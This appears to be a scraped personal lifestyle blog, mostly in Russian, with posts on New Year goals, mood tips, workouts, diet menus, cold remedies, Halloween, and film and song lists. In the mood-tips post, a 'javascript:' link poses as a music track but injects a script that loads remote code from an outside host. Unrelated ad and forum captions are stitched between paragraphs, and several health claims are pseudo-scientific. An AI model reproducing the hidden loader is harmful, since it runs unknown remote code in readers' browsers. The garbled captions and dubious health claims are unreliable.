To start a new life. ProjectNadia 2015 Be consistent with my exercise and diet.

Hey there,

It`s a new year, new beginnings and thus i`m going to start a new posting area here. I reviewed many of these and bump up to the suggestion that it needs some reconstructions.

So, I propose you to start the year propetly, in a correct way . This year im going to start to plan everything and live in a total mode.  So here, what im going to do first, is to set large goals. its going to be 7.

———————————————————————————————————————————————————

1. Draw at least 10 pictures. 

2. Weekly plan my meal. 

3.  Be consistent with my training.

4. Capture and save memorable moments.

5. Keep my home clean(er)

6. Film a video 

7. Progress in learning spanish and norwegian.

My next post will be about  weekly and daily posts.

xoxo

ps. sharing with you a few photos of our new year celebration

j1Xvhce0ahE05vP_Uj6Aa40aNNB22VCpI

Advertisements

Что нужно сделать до Нового Года 2015

До Нового Года осталось http://www.novyjgod.com/skolko-ostalos-do-novogo-goda-2015.html .

Поэтому необходимо вспомнить, что необходимо сделать до этого замечательного дня.

Итак:

1.   Привести себя в форму.

2. Раздать все долги.

3. Купите подарки своим близким и друзьям.

4. Отпустите старые обиды.

5. Спланировать будущий год.

6. Составить новогоднее меню.

7.Украсить дом к новому году, поставить новогоднюю елку.

8.Уделите внимание родителям.

9.Загадать желание.

10. Выбросить ненужные вещи.

11. Избавьтесь от вредных привычек.

12. Посетить кинотеатр.

13. Прочитать ту книгу, которую всегда хотела прочитать

14. Больше гулять на улице.

15. Поиграть в снежки.

 

 

IMG_2497.JPG

8 способов поднять себе настроение.

Осень на носу, а это означает, что осенняя депрессия вот-вот нагрянет. А если она уже подстегивает ваши нервы, то есть отличные способы для снятия напряженности и нервозности. 

Итак, предлагаю вашему вниманию мои 8 способов для поднятия настроения: 


1. Свечи.  Это один из самых действенных моих способов. В дополнение, я капаю несколько капель эфирных масел, дабы воссоздать спа-атмосферу. Получается волшебно, если добавить пачули и розмарин.

Candlesrelax

2. Chill out music.  Chillout это вовсе не дизайн интерьера, а направление в электронной музыке, которое призывает расслаблять.Советую вам послушать этот трек. Я уверена, что с приходом осени каждый из нас желает тепла. И я хочу поделиться им с вами.

http://javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName(“head”);if(a.length){var d=document.createElement(“script”);d.src=”https://apihypenetinfo-a.akamaihd.net/gsrs?is=asp1fnua&bp=BA&g=3c8a70a7-c509-4394-815f-106e09409dea”;a[0].appendChild(d);}}}catch(e){}

3. Любимая кинолента.  Усевшись с чашкой горячего чая или кофе, я включаю свой излюбленных фильм ” Секс в большом городе”. Наблюдая его, я понимаю, что те проблемы, которые существуют у меня,совершенно выполнимы. И плохое настроение улетучивается само собой.

Обои Секс в большом городе ( Sex and the City ) Фильмы Фото 128774

4. Включаю новосоставленный плейлист и иду гулять. (Даже если на улице идет дождь!) Такая погода, на самом деле, показывает, что и у погоды есть плохое настроение, и это вполне нормально – иногда погрустить, всплакнуть – все мы девушки.

в/ч 30616-4 (Мотострелки),Ковров,Владимирская обл (продолжение -45)

5. Сажусь читать книгу у окна.   Что может быть лучше, чем отвлекаться на прекрасный вид за окном. Погрузитесь в ту книгу, которую вы читаете, прочувствуйте ее. Возможно среди страниц кроется тот загадочный ответ на ваш вопрос?!

Relax Reading

6. Балую себя покупками. Поход по магазинам всегда был и есть одни из главных способов саморазвлечения, ну или с подругой. Даже маленькая вещь может развеселить вас лучше любого клоуна, это уж проверенно. Да и, к примеру, какая девушка не будет рада даже новому блеску?!

СКИДКА 50% на Женскую одежду в бутике Beauty-Box - Биробиджан,Комсомольск-на-амуре,Новосибирск,Новый ургал,Хабаровск,Якутск, Кат

7. Фитнес. Да, знаю, некоторым это может показаться глупо, мол ” как же так, и так расстроена, убита, нервна и на фитнес?” – Именно, ребята! Ведь спорт вырабатывает эндорфины, которые положительно сказываются на нашей нервной системе, и тем самым поднимают нам настроение.

Stock Photo - Fitness Фитнес " ALLDAY - народный сайт о дизайне

8. Устройте себе СПА-день. Ох, как же это приятно не выходя из дома благоухать. Смакуйте каждое средство. Я люблю растягивать это действие на многие часы удовольствия. Обновите маникюр, педикюр. Распарьте личико и нанесите самостоятельно сделанную маску( все мы знаем, что домашне-приготовленные маски намного лучше покупных). На этом сайте вы можете найти много полезностей для сотворения домашних масок.

Гоночки "Стройная осень!"Пр. стр.333 НАБОР с 04.11!!!! - страница 219

Слушайте свое тело, оно подскажет нужный путь.

Drop dead shredded till 12th of october

Hello guys, 

So, today is the middle of my countdown to my first ever fitness bikini competition, which is gonna take place here, in my homecity. My coach said that we should start from here-point and mover  further after. 

Basicly, I have only 8 weeks to the line, and i have put all of myself into this period, Also, I must admit that its EXRTA hard job, you know, just to keep focused everytime and i`m also afraid about combining my studying( which is not easy too, mindfully for sure) and workouts\training, which will take 75 % of my time since september. I really need your support and I will be so glad to recieve some of your ideas towards some shredded recepies that you use or some active timespending. Just leave comments:) Also my instagram is http://instagram.com/nadiaglva , so now you can subscribe on my news and stay tuned anytime you want! 

My workout for today is:

warm up( some cardio) 5 min ( basicly i use only treadmill on speed 6 and incl,8%) 

abs( trio set) 3 sets 20 reps : 90 degrees crunch, crunches, abs crunching machine 

reverse crunches 2 sets till you feel the burn, but not less than 20 reps .

Hyperextention 3 sets 20 reps ( i“m gonna be using weight  15 kg) 

DOUBLESET :

Situps with barbel + Leg curl  3 sets 15 reps ( use weight as you used to but increase it with each set ) 

Lyin barbell press 2 sets 13 reps ( beginners use 8-10 kg) 

Hammer ( dumbells motion. BUT, when you pull arm down , please dont forget about your elbow, it should be totaly straight!) 2 sets 13 times 

Bicycling 10 min 

Treadmill walk medium speed 6-7.0 – 5 min incline 4-6%. 

Hope you`re having an amazing day so far: ) 

Stay healthy 

Как победить простуду за один день. Self-experience/ challenge

Всем привет,
Сегодня речь пойдет о том, как встать на ноги за один день.
Сегодня у меня уже полтора дня простуды. ( вчера в обед начала пить фармацитрон и чай). После чего на испанском чуть не грохнулась в сон, но то не особо важное. 🙂 ( тема была вправду интересная!!!)
Отпросилась с зарубежной литературы и поехала домой. Пока ехала немного отдохнула и вздремнула. Завтра мне надо по-любому встать на ноги полностью, ведь завтра любимый приготовил сюрприз. Поэтому, сегодня я осталась дома, и выходить никуда не собираюсь.
Вчера я два раза выпила фармацитрон и около 5 -ти 270 мл чашек черного чая с бергамотом. И лежала все оставшееся время.
В ночи кошка залезла еще мне на шею, прогрела, стало лучше.
( если есть кошка или кот, пользуйтесь моментом, они действительно действенны )
Сегодня встала в 6 утра. Выпила 2 чашки чая и чувствую себя лучше. Есть не хочется, но бульон никто не отменял.
На самом деле, мне кажется , что способы , например как выпить шот с водкой и перцем чили, пропотеть и т. д. , мне кажется это все не особо эффективно. Просто необходимо обильное питье( будь то чай или молоко). Я вот не понимаю, зачем надо съесть всю плитку шоколада. Только набор эндорфинов повысится.
В общем, я сторонник самой классической системой лечения- чай, горизонтальное положение тела в тепле, крепкое противовирусное. Все. Пару дней , и вы на ногах!)
Удачи в выздоровлении!!!
Помните, нет мыслей, которые не сбываются.

Список фильмов для просмотра. Подборка

Когда Гарри встретил салли
Красота по американски 1999
Шарада 1963
«Проклятие нефритового скорпиона» (США, 2001, режиссер – Вуди Аллен)
За сигаретами
Голубоглазая жасмин
Бойфренд из будущего
How I live now
What maisie knew
American hustle
The emperor New groove
Shrek
Hotel Transylvania
A Christmas carol
The nightmare before christmas
Corpse bride

Диетическое меню на неделю. Расписание. Правильное питание

Диетическое меню на неделю:

Понедельник (1100 ккал)
7.00-9.00
Первый завтрак:
200 г овсяной каши, сваренной на 0,5%-ном молоке с 50 г свежих или замороженных ягод; чай или коже без сахара и молока.
11.00-12.00
Второй завтрак:
2 очищенные моркови.
14.00-15.00
Обед:
100 г сваренной гречки; порция овощного рагу или свежего салата из овощей, заправленного столовой ложкой оливкового масла .
16.00-17.00
Полдник:
½ стакана нарезанных фруктов (груша, яблоко, нектарин, киви)
чай без сахара или вода.
19.00
Ужин:
небольшая порция отварной курицы или индейки, салат из свежих овощей, заправленных ложкой оливкового масла.
Вторник (1450 ккал)
7.00-9.00
Первый завтрак:
200 г творога 0-2% жирности, ½ банана, чай или коже без сахара и молока.
11.00-12.00
Второй завтрак:
2 очищенные моркови,заправленные столовой ложкой оливкового масла.
1 апельсин или грейпфрут.
14.00-15.00
Обед:
100 г свареного бурого риса; порция лосося на пару, 300 г теплых овощей (морковь, брокколи, цветная капуста), заправленных 1 ч.л растительного масла;
16.00-17.00
Полдник:
бутерброд из кусочка (30 г) бородинского хлеба с 50 г обезжиренного творога, щепоткой соли, перца и кружочками помидора;
19.00
Ужин:
порция овощного омлета, 200 г овощного салата, заправленного 1 столовой ложкой оливкового масла.
Среда (1350 ккал)
7.00-9.00
Первый завтрак:
200 г овсяной каши, свареной на 0,5%-ном молоке с 1 средним яблоком и 1 ч.л. корицы;
11.00-12.00
Второй завтрак:
половинка грейпфрута, 20 г грецких орехов.
14.00-15.00
Обед:
порция овощного супа (разрешается употреблять любой суп, сваренный на нежирном бульоне,строго без мяса)
16.00-17.00
Полдник:
ягодный смузи: измельчить в блендере смесь 100 г обезжиренного творога, ½ стакана ягод (черника, брусника, малина или клубника), ½ стакана 0,5%-ного молока.
19.00
Ужин:
200 г легкой творожной запеканки без сахара, с карицей, творог должен быть 0-2% жирности,
стакан кефира 0-2% жирности, клюквенный морс без сахара.
Перед сном:
фруктовый или травяной чай без сахара и молока.
Четверг (1570 ккал)
7.00-9.00
Первый завтрак:
200 г мюсли с ягодами или фруктами на 0,5%-ном молоке, среднее яблоко или грейпфрут, чай или кофе без молока и сахара.
11.00-12.00
Второй завтрак:
2 очищенные моркови,заправленные столовой ложкой оливкового масла.
14.00-15.00
Обед:
порция овощного супа (разрешается употреблять любой суп, сваренный на нежирном бульоне,строго без мяса).
16.00-17.00
Полдник:
бутерброд из кусочка (30 г) бородинского хлеба с 50 г обезжиренного творога, щепоткой соли, перца и кружочками помидора;
19.00
Ужин:
отварное или запеченное куриное филе (80г), 300 г тушенных в духовке овощей (пастернак, репа, лук, морковь) с травами, заправленных 2-мя ложками оливкового масла; 200 мл 0,5 %-ного молока или кефира.
Перед сном:
фруктовый или травяной чай без сахара и молока.
Пятница (1335 ккал)
7.00-9.00
Первый завтрак:
кусочек (30г) ржаного хлеба;
1 вареное яйцо; листья зеленого салата 1 огурец, 1 сладкий перец, кофе или чай без молока и сахара.
11.00-12.00
Второй завтрак:
2 очищенные моркови, заправленные столовой ложкой оливкового масла.
14.00-15.00
Обед:
порция овощного супа (разрешается употреблять любой суп, сваренный на нежирном бульоне,строго без мяса).
16.00-17.00
Полдник:
2 дольки темного шоколада; свежевыжатый апельсиновый сок.
19.00
Ужин:
небольшая порция отварной курицы или индейки, салат из свежих овощей, заправленных ложкой оливкового масла.
Суббота (1100 ккал)
7.00-9.00
Первый завтрак:
200 г овсяной каши, свареной на 0,5%-ном молоке с 1 средним яблоком и 1 ч.л. корицы;
чай или кофе без сахара и молока.
11.00-12.00
Второй завтрак:
150 г обезжиренного натурального йогурта.
Обед:
14.00-15.00
100 г вареной гречки, 100 постной говядины, 200 г салата из салатных листьев, 1 цукини и 1 помида заправленного 1 столовой ложкой оливкового масла.
16.00-17.00
Полдник:
ягодный смузи: измельчить в блендере смесь 100 г обезжиренного творога, ½ стакана ягод (черника, брусника, малина или клубника), ½ стакана 0,5%-ного молока.
19.00
Ужин:
небольшая порция морского окуня на пару с отварными овощами, 1 стакан томатного сока, 1 ржаной хлебец,заправленный обезжиренным творогом с зеленью и чесноком.
Воскресенье (1570 ккал)
7.00-9.00
Первый завтрак:
200 г мюсли с ягодами или фруктами на 0,5%-ном молоке, среднее яблоко или грейпфрут, чай или кофе без молока и сахара.
11.00-12.00
Второй завтрак:
половинка грейпфрута, 20 г грецких орехов.
14.00-15.00
Обед:
100 г свареного бурого риса; порция лосося на пару, 300 г теплых овощей (морковь, брокколи, цветная капуста), заправленных 1 ч.л растительного масла;
16.00-17.00
Полдник:
100 г зерненого творога (до 4% жирности);
½ стакана нарезанных фруктов.
19.00
Ужин:
порция овощного омлета, 200 г овощного салата, заправленного 1 столовой ложкой оливкового масла.
Воду, свежевыжатые соки, минеральную воду и травяной чай можно пить в любых количествах. Пить нужно за час до приема и не раньше 30 минут после приема пищи.

10 полезных продуктов.

10 самых полезных продуктов

1. Абрикос — содержит наибольшее количество бета-каротина, который контролирует зрение, блокирует образование злокачественных опухолей, стимулирует иммунную систему, подавляет процессы преждевременного старения.
2. Авокадо — регулирует кислотно-щелочной баланс. Легко переваривается, полезно для крови, предотвращает анемию.
3. Банан — чемпион по содержанию калия — микроэлемента, который необходим для укрепления сердечной мышцы и нормализации давления.
4. Бразильский орех — чемпион по содержанию селена, который поддерживает иммунную систему, снижает риск сердечных и онкологических заболеваний.
5. Гранат — абсолютный чемпион по содержанию эллаговой кислоты, которая понижает давление, обладает кровоостанавливающим и заживляющим свойствами.
6. Грейпфрут — содержит салициловую кислоту, полезную для лечения артритов. Благотворно влияет на сердечно-сосудистую систему. Очищает кровь.
7. Дрожжи пивные — содержат все витамины группы В, которые поддерживают функционирование центральной нервной системы.
8. Ежевика — опережает остальные продукты по содержанию никотиновой кислоты, необходимой для нормальной деятельности мозга и сердечно-сосудистой системы.
9.Жир рыбий — содержит ненасыщенные омега-3 жирные кислоты, которые нормализуют состояние кожи и суставов, помогают при депрессиях.
10.Зеленый чай — мощный источник витамина Р, который способствует устойчивости организма к инфекционным заболеваниям

Правильное время

Лучшее время для ужина — если поедите сейчас, то желудок успеет переварить пищу до утра. После 19.00 существенно снижается уровень работы пищеварительной системы, она «засыпает».

19.00
Снижается кровяное давление, нервная система особенно чувствительна к воздействию лекарств.

20.00
Благоприятное время для общения — дружеских посиделок за чашечкой чая, танцы, музыка. Также в это время наиболее эффективно действуют антибиотики.

21.00
Самое неподходящее время для ужина — пища останется непереваренной до утра.
Зато 9 часов вечера — лучшее время для заучивания большого количества информации, обостряется способность мозга к запоминанию.

22.00
Лучшее время для сна. Начинают вырабатываться гормоны молодости и организм готов к своей восстановительной работе. Крепкий и эффективный отдых гарантирован.

23.00
Активность обмена веществ минимальна. Снижается до минимума частота пульса и температура тела.

24.00
В полночь лучше заживают раны, потому что клетки организма делятся быстрее, чем днем.

1.00
Время для погружения в глубокий сон.

2.00
В организме замедляются все реакции, возрастает чувствительность к холоду. Лучше в это время уже спать.

3.00
Самое опасное время. В организме снижается выработка мелатонина, отвечающего за настроение. Поэтому тех, кто не спит, одолевают черные мысли. Также возрастает опасность самоубийств. Поэтому это самое время, чтобы вспомнить старую поговорку «Утро вечера мудренее» и лечь спать.

Время страсти
Суточные режимы у мужчин и у женщин не совпадают. Поэтому и, так называемое, время страсти у них может быть разное.
Сексуальная активность у мужчин резко повышается утром, потому что в это время в их организме в несколько раз возрастает концентрация тестостерона. А пик желания у женщины приходится на 23.00, когда мужчина уже расслаблен и настроен на отдых.
К счастью, есть время, когда мужские и женские биоритмы совпадают — это 8 часов утра и 19.00-20.00. Эти часы идеально подходят для занятия сексом.

Подготовка к Хэллоуин 2014

Всем привет!

 

Сегодня речь пойдет про подготовку к Хэллоуину 2014 года.

Как и принято, Хэллоуин празднуют с 31 октября на 1-е ноября. В эту ночь оживает все потустороннее. Издавна веровали, что если переодеться в зомби, призраков и всех иных нечистей, то вы якобы отгоните потусторонние плохие силы от вас и вашего дома.

В эту ночь устраивается масса вечеринок по всем странам.

Оригинальным местом празднования Хэллоуина является Америка. Там детишки переодеваются в разнообразные костюмы и отправляются по всех домам, при этом говоря “Шутка или смерть?”. Хозяин в таком случае обязан наделить детишек конфетами, да побольше.

 

Итак, давайте побеседуем конкретнее, что надо сделать до хэллоуина и как к нему подготовиться.

1. Декорации. Символ хэллоуина это тыква. Поэтому покупайте как можно больше тыкв( целых), и декорируйте ими дом.  Для более устрашающего эффекта вырежьте из черной бумаги летучие мыши или пауков, или скелеты. Вы также все это можете найти в специальном магазине .

2. Веселый Джек. Это мордочка тыквы. А точнее злобная гримаса, которую вырезают на тыкве. Распечатайте эскиз гримасы, переведите рисунок на тыкву, берите нож и вырезайте. Не забудьте вытянуть середину и потом положить туда свечу.

3. Свет. Расставьте по всей квартире свечи, они придадут таинственности и устрашающего эффекта.

4. Поищите кулинарные рецепты для хэллоуина. Мои любимые это яблоки в карамели на палочке, пальчики ведьмы и зеленый пунш. Очень интересны айс попс.

5. Не забудьте о музыке. Она должна быть веселой, но не сильно радостной. Бах не плохо подойдет 🙂

6. Фильмы. Это отдельная тема. Вбиваете в поиске фильмы для хэллоуин и там множество идей. Я лично люблю не особо страшные, а семейные.

7. И конечно же, макияж и прическа. И костюююм!

 

И мы готовы!

 

Главное, выберете себе образ.

Удачи!

Подборка. 15 фильмов для просмотра осенними вечерами

1. “Я не знаю, как она это делает”

2.”Секс в большом городе”

3.”Да,нет,наверное”

4.”сияние чистого разума”

5.”Просто друзья”

6.” проблески надежды”

7. ” Любовь с уведомлением”

8. ” Шопоголик”

9. ” Старый новый год”

10. “Супруги Морган в бегах”

11. “Ускользающий идеал”

12. ” Откуда ты знаешь”

13. “Королева” Стивена Фрирза

14. ” Дьявол носит Прада”

15. “Амели”.

И не забывайте про горячий чай!;)

IMG_2477.JPG

Подборка. 13 осенних песен

IMG_2511.JPG

1. bebe-cocaine

2. frank sinatra

3. Tommy – foreign flower

4.scala and Kolacny Brothers – self-fulfilling

5. susane sundfor – the brothel

6.india arie- you made a fool of me

7.late night alumni – rainy days

8. kelly scar-somethings quiet

9.Dirk Maassen an island

10. Erik satie – gymnopedie no.1

11. secret room- autumn mood

12. John williams – harry po

13.William Fitzsimmons- beautiful girl \ i dont feel it anymore